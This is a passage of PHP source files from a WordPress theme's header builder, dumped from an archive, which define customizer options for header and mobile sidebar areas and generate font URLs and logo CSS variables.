			'max'  => 9999,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);

return $options;
PK     N\M@    L  inc/builder/customizer/sections/penci_header_topblockbar_setting_section.phpnu [        <?php
$area          = 'topblock';
$name          = 'Top Block';
$area_settings = $area . 'bar';
$default_width = 'container-fullwidth';
$section_name  = "penci_header_{$area_settings}_setting_section";
$options       = [];
/* Section Settings */
$options[] = array(
	'id'       => "penci_header_{$area}_content_direction",
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-select',
	'label'    => $name . __( ' Content Direction', 'soledad' ),
	'choices'  => [
		'row'     => 'Row',
		'columns' => 'Columns',
	]
);
$options[] = array(
	'id'        => "penci_header_{$area}_content_width",
	'default'   => $default_width,
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Container Width', 'soledad' ),
	'choices'   => [
		'container-normal'    => '1170px',
		'container-1400'      => '1400px',
		'container-fullwidth' => 'Fullwidth',
		'container-custom'    => 'Custom Width',
	]
);
$options[] = array(
	'id'        => "penci_header_{$area}_content_custom_width",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => $name . __( ' Custom Container Width', 'soledad' ),
	'ids'       => array(
		'desktop' => "penci_header_{$area}_content_custom_width",
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 9999,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => "penci_header_{$area}_background_img",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-image',
	'label'     => $name . esc_html__( ' Background Image', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_{$area}_background_color",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'label'     => $name . __( ' Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_{$area}_transparent_background_color",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __( 'Enable Transparent Background Color ?', 'soledad' ),
	'type'      => 'soledad-fw-select',
	'choices'   => [
		'enable'  => 'Yes',
		'disable' => 'No',
	]
);
$options[] = array(
	'id'        => "penci_header_{$area}_background_repeat",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Repeat', 'soledad' ),
	'choices'   => [
		'repeat'    => 'repeat',
		'repeat-x'  => 'repeat-x',
		'repeat-y'  => 'repeat-y',
		'no-repeat' => 'no-repeat',
		'initial'   => 'initial',
		'inherit'   => 'inherit'
	]
);
$options[] = array(
	'id'        => "penci_header_{$area}_background_position",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Position', 'soledad' ),
	'choices'   => [
		'left top'      => 'left top',
		'left center'   => 'left center',
		'left bottom'   => 'left bottom',
		'right top'     => 'right top',
		'right center'  => 'right center',
		'right bottom'  => 'right bottom',
		'center top'    => 'center top',
		'center center' => 'center center',
		'center bottom' => 'center bottom',
	]
);
$options[] = array(
	'id'        => "penci_header_{$area}_background_size",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Size', 'soledad' ),
	'choices'   => [
		'auto'    => 'auto',
		'length'  => 'length',
		'cover'   => 'cover',
		'contain' => 'contain',
		'initial' => 'initial',
		'inherit' => 'inherit',
	]
);
$options[] = array(
	'id'        => "penci_header_{$area}_background_attachment",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Attachment', 'soledad' ),
	'choices'   => [
		'scroll'  => 'scroll',
		'fixed'   => 'fixed',
		'local'   => 'local',
		'initial' => 'initial',
		'inherit' => 'inherit'
	]
);
$options[] = array(
	'id'        => "penci_header_{$area}_spacing_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_custom_sanitization',
	'type'      => 'soledad-fw-box-model',
	'label'     => esc_html__( 'Spacing & Borders', 'soledad' ),
	'choices'   => array(
		'margin'        => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding'       => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
		'border'        => array(
			'border-top'    => '',
			'border-right'  => '',
			'border-bottom' => '',
			'border-left'   => '',
		),
		'border-radius' => array(
			'border-radius-top'    => '',
			'border-radius-right'  => '',
			'border-radius-bottom' => '',
			'border-radius-left'   => '',
		),
	),
);
$options[] = array(
	'id'        => "penci_header_{$area}_border_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'label'     => $name . __( ' Borders Color', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_{$area}_border_style_setting",
	'default'   => 'solid',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Borders Style', 'soledad' ),
	'choices'   => [
		'none'   => 'None',
		'dotted' => 'Dotted',
		'dashed' => 'Dashed',
		'solid'  => 'Solid',
		'double' => 'Double',
	],
);
$options[] = array(
	'id'        => "penci_header_{$area}_text_color_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'settings'  => "penci_header_{$area}_text_color_setting",
	'label'     => __( 'General Text Color', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_{$area}_maxheight_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-size',
	'ids'  => array(
		'desktop' => "penci_header_{$area}_maxheight_setting",
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 9999,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
	'label'     => $name . esc_html__( ' Max Height', 'soledad' ),
);

return $options;
PK     N\5  5  I  inc/builder/customizer/sections/penci_header_drawer_container_section.phpnu [        <?php
/* Sidebar Section */
$mobile_sidebar_section = 'penci_header_drawer_container_section';
$options[]              = array(
	'id'        => "penci_header_mobile_sidebar_style",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => __( 'Mobile Sidebar Style', 'soledad' ),
	'choices'   => [
		''          => 'Default',
		'fullwidth' => 'Full Width',
	]
);
$options[]              = array(
	'id'        => "penci_header_mobile_sidebar_position",
	'default'   => 'left',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => __( 'Mobile Sidebar Position', 'soledad' ),
	'choices'   => [
		'left'  => 'Left',
		'right' => 'Right',
	]
);
$options[]              = array(
	'id'        => "penci_header_mobile_sidebar_background_img",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-image',
	'label'     => esc_html__( 'Mobile Sidebar Background Image', 'soledad' ),
);
$options[]              = array(
	'id'        => "penci_header_mobile_sidebar_background_color",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Mobile Sidebar Background Color', 'soledad' ),
);
$options[]              = array(
	'id'        => "penci_header_mobile_sidebar_background_repeat",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => __( 'Mobile Sidebar Background Repeat', 'soledad' ),
	'choices'   => [
		'repeat'    => 'repeat',
		'repeat-x'  => 'repeat-x',
		'repeat-y'  => 'repeat-y',
		'no-repeat' => 'no-repeat',
		'initial'   => 'initial',
		'inherit'   => 'inherit'
	]
);
$options[]              = array(
	'id'        => "penci_header_mobile_sidebar_background_position",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => __( 'Mobile Sidebar Background Position', 'soledad' ),
	'choices'   => [
		'left top'      => 'left top',
		'left center'   => 'left center',
		'left bottom'   => 'left bottom',
		'right top'     => 'right top',
		'right center'  => 'right center',
		'right bottom'  => 'right bottom',
		'center top'    => 'center top',
		'center center' => 'center center',
		'center bottom' => 'center bottom',
	]
);
$options[]              = array(
	'id'        => "penci_header_mobile_sidebar_background_size",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => __( 'Mobile Sidebar Background Size', 'soledad' ),
	'choices'   => [
		'auto'    => 'auto',
		'length'  => 'length',
		'cover'   => 'cover',
		'contain' => 'contain',
		'initial' => 'initial',
		'inherit' => 'inherit'
	]
);
$options[]              = array(
	'id'        => "penci_header_mobile_sidebar_background_attachment",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => __( 'Mobile Sidebar Background Attachment', 'soledad' ),
	'choices'   => [
		'scroll'  => 'scroll',
		'fixed'   => 'fixed',
		'local'   => 'local',
		'initial' => 'initial',
		'inherit' => 'inherit'
	]
);
$options[]              = array(
	'id'        => "penci_header_mobile_sidebar_spacing_setting",
	'default'   => '',
	'type'      => 'soledad-fw-box-model',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_custom_sanitization',
	'label'     => esc_html__( 'Spacing & Borders', 'soledad' ),
	'choices'   => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
		'border'  => array(
			'border-top'    => '',
			'border-right'  => '',
			'border-bottom' => '',
			'border-left'   => '',
		),
	),
);
$options[]              = array(
	'id'        => "penci_header_mobile_sidebar_border_setting",
	'type'      => 'soledad-fw-color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __( ' Mobile Sidebar Borders Color', 'soledad' ),
);
$options[]              = array(
	'id'        => "penci_header_mobile_sidebar_border_style_setting",
	'default'   => 'solid',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => __( ' Mobile Sidebar Borders Style', 'soledad' ),
	'choices'   => [
		'dotted' => 'Dotted',
		'dashed' => 'Dashed',
		'solid'  => 'Solid',
		'double' => 'Double',
	],
);
$options[]              = array(
	'id'        => "penci_header_mobile_sidebar_text_color_setting",
	'type'      => 'soledad-fw-color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'settings'  => "penci_header_mobile_sidebar_text_color_setting",
	'label'     => __( 'General Text Color', 'soledad' ),
);
$options[]              = array(
	'id'        => "penci_header_mobile_sidebar_link_color_setting",
	'default'   => '',
	'type'      => 'soledad-fw-color',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __( ' Mobile Sidebar Link Color', 'soledad' ),
);
$options[]              = array(
	'id'        => "penci_header_mobile_sidebar_link_hv_color_setting",
	'default'   => '',
	'type'      => 'soledad-fw-color',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __( ' Mobile Sidebar Link Hover Color', 'soledad' ),
);

return $options;
PK     N\vʽ     inc/builder/customizer/style.phpnu [        <?php
if ( ! function_exists( 'penci_builder_fonts_url' ) ) {
	function penci_builder_fonts_url( $data = 'normal' ) {
		$font_url = '';

		$array_fonts       = array();
		$array_get         = array();
		$array_options     = array();
		$array_earlyaccess = array();

		$font_settings = array(
			'penci_header_pb_main_menu_penci_font_for_menu',
			'penci_header_pb_logo_penci_font_for_title',
			'penci_header_pb_logo_mobile_penci_font_for_title',
			'penci_header_pb_logo_sidebar_penci_font_for_title',
			'penci_header_pb_logo_sticky_penci_font_for_title',
			'penci_header_pb_logo_penci_font_for_slogan',
			'penci_header_pb_logo_mobile_penci_font_for_slogan',
			'penci_header_pb_logo_sidebar_penci_font_for_slogan',
			'penci_header_pb_logo_sticky_penci_font_for_slogan',
			'penci_header_pb_second_menu_penci_font_for_menu',
			'penci_header_pb_third_menu_penci_font_for_menu',
			'penci_header_pb_dropdown_menu_penci_font_for_menu',
			'penci_header_pb_login_register_penci_font_login_text',
			'penci_header_pb_button_font',
			'penci_header_pb_button_2_font',
			'penci_header_pb_button_3_font',
			'penci_header_pb_button_mobile_font',
			'penci_header_pb_button_mobile_1_font',
			'penci_header_pb_bookmark_font',
			'penci_header_pb_news_ticker_font',
		);

		$exlude_fonts         = array_merge( penci_get_custom_fonts(), penci_font_browser() );
		$default_loaded_fonts = penci_fonts_url( 'normalarray' );
		if ( is_array( $default_loaded_fonts ) && ! empty( $default_loaded_fonts ) ) {
			$exlude_fonts = array_merge( $exlude_fonts, $default_loaded_fonts );
		}
		$earlyaccess_loaded_fonts = penci_fonts_url( 'earlyaccess' );
		if ( is_array( $earlyaccess_loaded_fonts ) && ! empty( $earlyaccess_loaded_fonts ) ) {
			$exlude_fonts = array_merge( $exlude_fonts, $earlyaccess_loaded_fonts );
		}

		foreach ( $font_settings as $font ) {
			$font = penci_get_builder_mod( $font );
			if ( $font && ! in_array( $font, $exlude_fonts ) ) {
				$array_options[] = $font;
			}
		}

		if ( ! empty( $array_options ) ) {


			foreach ( $array_options as $font ) {

				$font_family       = str_replace( '"', '', $font );
				$font_family_explo = explode( ', ', $font_family );
				$array_get[]       = isset( $font_family_explo[0] ) ? $font_family_explo[0] : '';

			}
		}
		$array_end = array_unique( array_merge( $array_fonts, $array_get ), SORT_REGULAR );

		$string_end = implode( ':300,300italic,400,400italic,500,500italic,700,700italic,800,800italic|', $array_end );

		/*
		Translators: If there are characters in your language that are not supported
		by chosen font(s), translate this to 'off'. Do not translate into your own language.
		 */
		if ( 'off' !== _x( 'on', 'Google font: on or off', 'soledad' ) && ! empty( $array_options ) ) {
			$font_url = add_query_arg(
				array(
					'family'  => urlencode( $string_end . ':300,300italic,400,400italic,500,500italic,600,600italic,700,700italic,800,800italic&subset=latin,cyrillic,cyrillic-ext,greek,greek-ext,latin-ext' ),
					'display' => 'swap',
				),
				'https://fonts.googleapis.com/css'
			);
		}

		if ( $data == 'earlyaccess' ) {
			return $array_earlyaccess;
		} else {
			return $font_url;
		}
	}
}

add_action( 'wp_head', function () {
	$header_css = penci_builder_customizer_css();
	$builder_id = penci_get_header_builder_id();
	if ( $header_css ) {
		echo '<style id="penci-header-builder-' . $builder_id . '" type="text/css">' . $header_css . '</style>';
	}
}, 99 );

function penci_builder_customizer_css() {
	if ( ! penci_is_active_header_builder() ) {
		return;
	}

	$builder_id  = penci_get_header_builder_id();
	$header_data = get_page_by_path( $builder_id, OBJECT, 'penci_builder' );
	$header_id   = isset( $header_data->ID ) && $header_data->ID ? $header_data->ID : '';
	$header_data = get_post_meta( $header_id, 'settings_content', true );

	$block_settings        = array( 'topblock', 'topbar', 'midbar', 'bottombar', 'bottomblock' );
	$sticky_block_settings = array( 'top', 'mid', 'bottom' );
	$mobile_block_settings = array( 'topbar', 'midbar', 'bottombar' );
	$return                = $out = '';
	foreach ( $block_settings as $area ) {
		$return .= penci_builder_get_area_css( $header_data, $area, 'desktop', 'header' );
	}
	foreach ( $sticky_block_settings as $sticky_area ) {
		$return .= penci_builder_get_area_css( $header_data, $sticky_area, 'sticky', 'header_sticky' );
	}
	foreach ( $mobile_block_settings as $mobile_area ) {
		$return .= penci_builder_get_area_css( $header_data, $mobile_area, 'mobile', 'header_mobile' );
	}

	// General header
	$header_general_spacing = penci_get_builder_mod( 'penci_header_spacing_setting' );
	$out                    .= '.penci_header.penci-header-builder.main-builder-header{';
	$out                    .= penci_builder_spacing_extract_data( $header_general_spacing );
	$out                    .= '}';

	// Desktop Logo
	$custom_logo_mw                     = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_size_logo_w' );
	$custom_logo_mmw                    = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_size_logo_mw' );
	$custom_logo_mh                     = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_size_logo_h' );
	$custom_logo_mmh                    = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_size_logo_mh' );
	$custom_logo_msw                    = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_size_logo_sw' );
	$custom_logo_msh                    = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_size_logo_sh' );
	$custom_logo_fontsize_logo          = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_font_size_logo' );
	$custom_logo_color_logo             = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_color_logo' );
	$custom_logo_fontsize_m_logo        = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_font_size_m_logo' );
	$custom_logo_fontface_logo          = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_penci_font_for_title' );
	$custom_logo_fontweight_logo        = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_penci_font_weight_title' );
	$custom_logo_fontstyle_logo         = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_penci_font_style_title' );
	$custom_logo_fontsize_slogan_logo   = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_font_size_slogan' );
	$custom_logo_color_slogan_logo      = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_color_slogan' );
	$custom_logo_fontsize_slogan_m_logo = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_font_size_m_slogan' );
	$custom_logo_fontface_slogan_logo   = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_penci_font_for_slogan' );
	$custom_logo_fontweight_slogan_logo = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_penci_font_weight_slogan' );
	$custom_logo_fontstyle_slogan_logo  = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_penci_font_style_slogan' );

	$out .= '.penci-header-image-logo,.penci-header-text-logo{';
	if ( ! empty( $custom_logo_fontsize_logo ) ) {
		$out .= '--pchb-logo-title-size:' . $custom_logo_fontsize_logo . 'px;';
	}
	if ( ! empty( $custom_logo_color_logo ) ) {
		$out .= '--pchb-logo-title-color:' . $custom_logo_color_logo . ';';
	}
	if ( ! empty( $custom_logo_color_slogan_logo ) ) {
		$out .= '--pchb-logo-slogan-color:' . $custom_logo_color_slogan_logo . ';';
	}
	if ( ! empty( $custom_logo_fontsize_m_logo ) ) {
		$out .= '--pchb-logo-title-m-size:' . $custom_logo_fontsize_m_logo . 'px;';
	}
	if ( ! empty( $custom_logo_fontface_logo ) ) {
		$out .= '--pchb-logo-title-font:' . penci_builder_get_font_data( $custom_logo_fontface_logo ) . ';';
	}
	if ( ! empty( $custom_logo_fontweight_logo ) ) {
		$out .= '--pchb-logo-title-fw:' . $custom_logo_fontweight_logo . ';';
	}
	if ( ! empty( $custom_logo_fontstyle_logo ) ) {
		$out .= '--pchb-logo-title-fs:' . $custom_logo_fontstyle_logo . ';';
	}
	if ( ! empty( $custom_logo_fontsize_slogan_logo ) ) {
		$out .= '--pchb-logo-slogan-size:' . $custom_logo_fontsize_slogan_logo . 'px;';
	}
	if ( ! empty( $custom_logo_fontsize_slogan_m_logo ) ) {
		$out .= '--pchb-logo-slogan-m-size:' . $custom_logo_fontsize_slogan_m_logo . 'px;';
	}
	if ( ! empty( $custom_logo_fontface_slogan_logo ) ) {
		$out .= '--pchb-logo-slogan-font:' . $custom_logo_fontface_slogan_logo . ';';
	}
	if ( ! empty( $custom_logo_fontweight_slogan_logo ) ) {
		$out .= '--pchb-logo-slogan-fw:' . $custom_logo_fontweight_slogan_logo . ';';
	}
	if ( ! empty( $custom_logo_fontstyle_slogan_logo ) ) {
		$out .= '--pchb-logo-slogan-fs:' . $custom_logo_fontstyle_slogan_logo . ';';
	}
	$out .= '}';

	$out .= '.pc-logo-desktop.penci-header-image-logo img{';
	if ( ! empty( $custom_logo_mw ) ) {
		$out .= 'max-width:' . $custom_logo_mw . 'px;';
	}
	if ( ! empty( $custom_logo_mh ) ) {
		$out .= 'max-height:' . $custom_logo_mh . 'px;';
	}
	$out .= '}';

	$out .= '@media only screen and (max-width: 767px){.penci_navbar_mobile .penci-header-image-logo img{';
	if ( ! empty( $custom_logo_mmw ) ) {
		$out .= 'max-width:' . $custom_logo_mmw . 'px;';
	}
	if ( ! empty( $custom_logo_mmh ) ) {
		$out .= 'max-height:' . $custom_logo_mmh . 'px;';
	}
	$out .= '}}';

	$out .= '.penci_builder_sticky_header_desktop .penci-header-image-logo img{';
	if ( ! empty( $custom_logo_msw ) ) {
		$out .= 'max-width:' . $custom_logo_msw . 'px;';
	}
	if ( ! empty( $custom_logo_msh ) ) {
		$out .= 'max-height:' . $custom_logo_msh . 'px;';
	}
	$out .= '}';

	// Mobile Logo
	$custom_m_logo_mw                     = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_mobile_size_logo_mw' );
	$custom_m_logo_mh                     = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_mobile_size_logo_mh' );
	$custom_m_logo_msw                    = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_mobile_size_logo_sw' );
	$custom_m_logo_msh                    = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_mobile_size_logo_sh' );
	$custom_m_logo_fontsize_logo          = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_mobile_font_size_logo' );
	$custom_m_logo_color_logo             = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_mobile_color_logo' );
	$custom_m_logo_fontsize_m_logo        = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_mobile_font_size_m_logo' );
	$custom_m_logo_fontface_logo          = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_mobile_penci_font_for_title' );
	$custom_m_logo_fontweight_logo        = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_mobile_penci_font_weight_title' );
	$custom_m_logo_fontstyle_logo         = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_mobile_penci_font_style_title' );
	$custom_m_logo_fontsize_slogan_logo   = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_mobile_font_size_slogan' );
	$custom_m_logo_color_slogan_logo      = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_mobile_color_slogan' );
	$custom_m_logo_fontsize_slogan_m_logo = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_mobile_font_size_m_slogan' );
	$custom_m_logo_fontface_slogan_logo   = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_mobile_penci_font_for_slogan' );
	$custom_m_logo_fontweight_slogan_logo = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_mobile_penci_font_weight_slogan' );
	$custom_m_logo_fontstyle_slogan_logo  = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_mobile_penci_font_style_slogan' );

	$out .= '.penci_navbar_mobile .penci-header-text-logo{';
	if ( ! empty( $custom_m_logo_fontsize_logo ) ) {
		$out .= '--pchb-m-logo-title-size:' . $custom_m_logo_fontsize_logo . 'px;';
	}
	if ( ! empty( $custom_m_logo_color_logo ) ) {
		$out .= '--pchb-m-logo-title-color:' . $custom_m_logo_color_logo . ';';
	}
	if ( ! empty( $custom_m_logo_color_slogan_logo ) ) {
		$out .= '--pchb-m-logo-slogan-color:' . $custom_m_logo_color_slogan_logo . ';';
	}
	if ( ! empty( $custom_m_logo_fontsize_m_logo ) ) {
		$out .= '--pchb-m-logo-title-m-size:' . $custom_m_logo_fontsize_m_logo . 'px;';
	}
	if ( ! empty( $custom_m_logo_fontface_logo ) ) {
		$out .= '--pchb-m-logo-title-font:' . penci_builder_get_font_data( $custom_m_logo_fontface_logo ) . ';';
	}
	if ( ! empty( $custom_m_logo_fontweight_logo ) ) {
		$out .= '--pchb-m-logo-title-fw:' . $custom_m_logo_fontweight_logo . ';';
	}
	if ( ! empty( $custom_m_logo_fontstyle_logo ) ) {
		$out .= '--pchb-m-logo-title-fs:' . $custom_m_logo_fontstyle_logo . ';';
	}
	if ( ! empty( $custom_m_logo_fontsize_slogan_logo ) ) {
		$out .= '--pchb-m-logo-slogan-size:' . $custom_m_logo_fontsize_slogan_logo . 'px;';
	}
	if ( ! empty( $custom_m_logo_fontsize_slogan_m_logo ) ) {
		$out .= '--pchb-m-logo-slogan-m-size:' . $custom_m_logo_fontsize_slogan_m_logo . 'px;';
	}
	if ( ! empty( $custom_m_logo_fontface_slogan_logo ) ) {
		$out .= '--pchb-m-logo-slogan-font:' . $custom_m_logo_fontface_slogan_logo . ';';
	}
	if ( ! empty( $custom_m_logo_fontweight_slogan_logo ) ) {
		$out .= '--pchb-m-logo-slogan-fw:' . $custom_m_logo_fontweight_slogan_logo . ';';
	}
	if ( ! empty( $custom_m_logo_fontstyle_slogan_logo ) ) {
		$out .= '--pchb-m-logo-slogan-fs:' . $custom_m_logo_fontstyle_slogan_logo . ';';
	}
	$out .= '}';

	$out .= '.penci_navbar_mobile .penci-header-image-logo img{';
	if ( ! empty( $custom_m_logo_mw ) ) {
		$out .= 'max-width:' . $custom_m_logo_mw . 'px;';
	}
	if ( ! empty( $custom_m_logo_mh ) ) {
		$out .= 'max-height:' . $custom_m_logo_mh . 'px;';
	}
	$out .= '}';

	$out .= '.penci_navbar_mobile .sticky-enable .penci-header-image-logo img{';
	if ( ! empty( $custom_m_logo_msw ) ) {
		$out .= 'max-width:' . $custom_m_logo_msw . 'px;';
	}
	if ( ! empty( $custom_m_logo_msh ) ) {
		$out .= 'max-height:' . $custom_m_logo_msh . 'px;';
	}
	$out .= '}';

	// Mobile Sidebar Logo
	$custom_ms_logo_mw                     = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_sidebar_size_logo_mw' );
	$custom_ms_logo_mh                     = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_sidebar_size_logo_mh' );
	$custom_ms_logo_fontsize_logo          = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_sidebar_font_size_logo' );
	$custom_ms_logo_color_logo             = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_sidebar_color_logo' );
	$custom_ms_logo_fontsize_m_logo        = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_sidebar_font_size_m_logo' );
	$custom_ms_logo_fontface_logo          = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_sidebar_penci_font_for_title' );
	$custom_ms_logo_fontweight_logo        = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_sidebar_penci_font_weight_title' );
	$custom_ms_logo_fontstyle_logo         = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_sidebar_penci_font_style_title' );
	$custom_ms_logo_fontsize_slogan_logo   = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_sidebar_font_size_slogan' );
	$custom_ms_logo_color_slogan_logo      = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_sidebar_color_slogan' );
	$custom_ms_logo_fontsize_slogan_m_logo = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_sidebar_font_size_m_slogan' );
	$custom_ms_logo_fontface_slogan_logo   = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_sidebar_penci_font_for_slogan' );
	$custom_ms_logo_fontweight_slogan_logo = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_sidebar_penci_font_weight_slogan' );
	$custom_ms_logo_fontstyle_slogan_logo  = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_sidebar_penci_font_style_slogan' );

	$out .= '.pb-logo-sidebar-mobile{';
	if ( ! empty( $custom_ms_logo_fontsize_logo ) ) {
		$out .= '--pchb-logo-sm-title-size:' . $custom_ms_logo_fontsize_logo . 'px;';
	}
	if ( ! empty( $custom_ms_logo_color_logo ) ) {
		$out .= '--pchb-logo-sm-title-color:' . $custom_ms_logo_color_logo . ';';
	}
	if ( ! empty( $custom_ms_logo_color_slogan_logo ) ) {
		$out .= '--pchb-logo-sm-slogan-color:' . $custom_ms_logo_color_slogan_logo . ';';
	}
	if ( ! empty( $custom_ms_logo_fontsize_m_logo ) ) {
		$out .= '--pchb-logo-sm-title-m-size:' . $custom_ms_logo_fontsize_m_logo . 'px;';
	}
	if ( ! empty( $custom_ms_logo_fontface_logo ) ) {
		$out .= '--pchb-logo-sm-title-font:' . penci_builder_get_font_data( $custom_ms_logo_fontface_logo ) . ';';
	}
	if ( ! empty( $custom_ms_logo_fontweight_logo ) ) {
		$out .= '--pchb-logo-sm-title-fw:' . $custom_ms_logo_fontweight_logo . ';';
	}
	if ( ! empty( $custom_ms_logo_fontstyle_logo ) ) {
		$out .= '--pchb-logo-sm-title-fs:' . $custom_ms_logo_fontstyle_logo . ';';
	}
	if ( ! empty( $custom_ms_logo_fontsize_slogan_logo ) ) {
		$out .= '--pchb-logo-sm-slogan-size:' . $custom_ms_logo_fontsize_slogan_logo . 'px;';
	}
	if ( ! empty( $custom_ms_logo_fontsize_slogan_m_logo ) ) {
		$out .= '--pchb-logo-sm-slogan-m-size:' . $custom_ms_logo_fontsize_slogan_m_logo . 'px;';
	}
